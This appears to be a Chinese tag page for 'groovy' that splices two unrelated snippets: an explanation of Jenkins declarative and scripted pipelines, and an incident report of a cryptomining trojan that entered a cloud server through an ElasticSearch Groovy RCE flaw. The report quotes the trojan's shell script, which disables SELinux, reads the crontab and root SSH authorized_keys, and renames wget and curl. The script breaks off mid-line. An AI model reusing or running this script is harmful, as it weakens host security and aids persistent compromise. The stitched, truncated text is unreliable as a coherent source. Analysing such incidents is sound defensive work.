groovy

Jenkins pipeline jenkinsfile的两种写作方式，声明式和脚本式。 为什么需要pipeline？ 在多年前Jenkins成为最流行的持续集成服务器的Jenkins 1.x时代，所有的新功能都是通过安装插件来增强，所有的配置都是通过网页界面来实现的。 在Jenkins迈入2.x的时代，为了跟随时代的步伐（everything is code），Jenkins引入了配置及代码的概念。用代码来表示流程是为了版本控制和自动化的方便，使得配置跟源代码一样可重现，更加容易地支持多分支开发部署。 具体地来说，就是Jenkins引入了pipeline的概念，可以使用groovy来编写Jenkinsfile。 为什么两种实现pipeline的方式呢？ 真的是看戏的不嫌事大,同一功能两种实现，很多用户也会被搞迷吧。下面咱们就来捋一捋这个发展过程。 Jenkins是使用Java实现的，所以在很早的时候就引入了groovy作为DSL，管理员可以使用groovy来实现一些自动化和高级的管理功能。因为groovy引擎已经集成到Jenkins，所以在pipeline一开始很自然就使用groovy来编写Jenkinsfile。 但是groovy毕竟是一种语言，对于没有太多编程经验的小白这个学习曲线有点太陡峭。这个时候声明式的pipeline就出现了，主要是为了降低入门的难度。

运维发现阿里云被挖矿木马感染。 阿里云报的是ElasticSearch Groovy远程代码执行漏洞。 木马的脚本如下： #!/bin/sh setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/sysupdates rtdir="/etc/sysupdates" bbdir="/usr/bin/curl" bbdira="/usr/bin/cur" ccdir="/usr/bin/wget" ccdira="/usr/bin/wge" mv /usr/bin/wget /usr/bin/get mv /usr/bin/xget /usr/bin/get mv /usr/bin/get /usr/bin/wge mv /usr/bin/curl /usr/bin/url mv /usr/bin/xurl /usr/bin/url mv /usr/bin/url /usr/bin